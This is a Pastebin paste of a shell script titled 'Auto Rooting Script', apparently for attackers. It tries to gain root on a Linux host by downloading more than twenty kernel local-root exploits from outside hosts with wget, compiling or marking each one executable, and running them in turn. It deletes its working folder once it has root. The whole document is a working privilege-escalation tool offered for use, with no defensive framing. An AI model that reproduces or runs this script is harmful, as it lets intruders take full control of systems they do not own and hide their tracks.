Advertisement
shinobininja

autoroot ninjutsu

Jun 26th, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.53 KB | None | 0 0
  1. #!/bin/sh
  2. # Auto Rooting Script ver 1.0
  3. # _____ __ __________ __
  4. # / _ \ __ ___/ |_ ____ \______ \ ____ _____/ |_
  5. # / /_\ \| | \ __\/ _ \ | _// _ \ / _ \ __\
  6. #/ | \ | /| | ( <_> ) | | ( <_> | <_> ) |
  7. #\____|__ /____/ |__| \____/ |____|_ /\____/ \____/|__|
  8. # \/ \/
  9. #To start script "./aroot.sh"
  10. #Developers: AnnexxEmpire, axe
  11. #Greetz to all members of SSteam
  12.  
  13. checkroot() {
  14. if [ "$(id -u)" = "0" ]; then
  15. cd ..;
  16. rm -r expl;
  17. echo "Got root :D";
  18. exit;
  19. else
  20. echo "No good. Still "`whoami`;
  21. echo "";
  22. fi;
  23. }
  24.  
  25. uname -a;
  26. mkdir expl;
  27. cd expl;
  28. echo "Checking if already root...";
  29. checkroot;
  30.  
  31. echo "Trying wunderbar...";
  32. wget http://www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz;
  33. tar -xvf sock-sendpage-local-root-exploit.tar.gz;
  34. cd sock-sendpage-local-root-exploit;
  35. ./wunderbar_emporium.sh;
  36. checkroot;
  37.  
  38. echo "Trying gayros...";
  39. wget http://www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c;
  40. gcc -o gayros local-root-exploit-gayros.c;
  41. ./gayros;
  42. checkroot;
  43.  
  44. echo "Trying vmsplice...";
  45. wget http://www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c;
  46. gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c;
  47. ./vmsplice-local-root-exploit;
  48. checkroot;
  49.  
  50. echo "Trying 2.6.x localroot...";
  51. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x2;
  52. ./x2;
  53. checkroot;
  54.  
  55. echo "Trying 2.6.24 localroot...";
  56. wget http://s3ym3n.by.ru/localroot/2.6.24/2.6.24x.c;
  57. gcc 2.6.24x.c -o 2.6.24x;
  58. ./2.6.24x;
  59. checkroot;
  60.  
  61. echo "Trying 2.4-2.6 [ pwned ] localroot...";
  62. wget http://s3ym3n.by.ru/localroot/2.4%202.6/pwned.c;
  63. gcc pwned.c -o pwned;
  64. ./pwned;
  65. checkroot;
  66.  
  67. echo "Trying 2.6.4 [ hudo ] localroot...";
  68. wget http://s3ym3n.by.ru/localroot/2.6.4/hudo.c;
  69. gcc hudo.c -o hudo;
  70. ./hudo;
  71. checkroot;
  72.  
  73. echo "Trying 2.6.9-22 [ prctl ] localroot...";
  74. wget http://s3ym3n.by.ru/localroot/2.6.9-22/prctl.c;
  75. gcc prctl.c -o prctl;
  76. ./prctl;
  77. checkroot;
  78.  
  79. echo "Trying 2.6.12 [ elfcd2 ] localroot...";
  80. wget http://s3ym3n.by.ru/localroot/2.6.12/elfcd2.c;
  81. gcc elfcd2.c -o elfcd2;
  82. ./elfcd2;
  83. checkroot;
  84.  
  85. echo "Trying 2.6.13-17 localroot...";
  86. wget http://s3ym3n.by.ru/localroot/2.6.13-17/2.6.13_17_4_2011.sh;
  87. chmod 755 2.6.13_17_4_2011.sh;
  88. ./2.6.13_17_4_2011.sh;
  89. checkroot;
  90.  
  91. echo "Trying 2.6.13 [ raptor-prctl ] localroot...";
  92. wget http://s3ym3n.by.ru/localroot/2.6.13/raptor-prctl.c;
  93. gcc raptor-prctl.c -o raptor-prctl;
  94. ./raptor_prctl;
  95. checkroot;
  96.  
  97. echo "Trying 2.6.14 [ raptor ] localroot...";
  98. wget http://s3ym3n.by.ru/localroot/2.6.14/raptor;
  99. chmod 777 raptor;
  100. ./raptor;
  101. checkroot;
  102.  
  103. echo "Trying 2.6.15 [ raptor ] localroot...";
  104. wget http://s3ym3n.by.ru/localroot/2.6.15/raptor;
  105. chmod 777 raptor;
  106. ./raptor;
  107. checkroot;
  108.  
  109. echo "Trying 2.6.17-4 [ raptor-prctl ] localroot...";
  110. wget http://s3ym3n.by.ru/localroot/2.6.17-4/raptor-prctl.c;
  111. gcc raptor-prctl.c -o raptor-prctl;
  112. ./raptor-prctl;
  113. checkroot;
  114.  
  115. echo "Trying 2.6.10 [ uselib24 ] localroot...";
  116. wget http://s3ym3n.by.ru/localroot/2.6.10/uselib24.c;
  117. gcc uselib24.c -o uselib24;
  118. ./uselib24;
  119. checkroot;
  120.  
  121. echo "Trying 2.6.11 [ krad ] localroot...";
  122. wget http://s3ym3n.by.ru/localroot/2.6.11/krad;
  123. chmod 777 krad;
  124. ./krad;
  125. checkroot;
  126.  
  127. echo "Trying 2.6.x localroot...";
  128. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x;
  129. chmod 777 x;
  130. ./x;
  131. checkroot;
  132.  
  133. echo "Trying 2.6.x [ uselib24 ] localroot...";
  134. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/uselib24;
  135. chmod 777 uselib24;
  136. ./uselib24;
  137. checkroot;
  138.  
  139. echo "Trying 2.6.x [ root2 ] localroot...";
  140. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/root2;
  141. chmod 777 root2;
  142. ./root2;
  143. checkroot;
  144.  
  145. echo "Trying 2.6.x [ kmod2 ] localroot...";
  146. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/kmod2;
  147. chmod 777 kmod2;
  148. ./kmod2;
  149. checkroot;
  150.  
  151. echo "Trying 2.6.23 localroot...";
  152. wget http://s3ym3n.by.ru/localroot/2.6.23/2.6.23.c;
  153. gcc 2.6.23.c -o 2.6.23;
  154. ./2.6.23;
  155. checkroot;
  156.  
  157. echo "Trying 2.6.x localroot...";
  158. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/exp.sh;
  159. chmod 755 exp.sh;
  160. ./exp.sh;
  161. checkroot;
  162.  
  163. echo "Trying 2.6.x [ elflbl ] localroot...";
  164. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/elflbl;
  165. chmod 777 elflbl;
  166. ./elflbl;
  167. checkroot;
  168.  
  169. echo "Trying 2.6.x [ cw7.3 ] localroot...";
  170. wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/cw7.3;
  171. chmod 777 cw7.3;
  172. ./cw7.3;
  173. checkroot;
  174.  
  175. echo "Done with exploits. Failed to achieve root :<";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement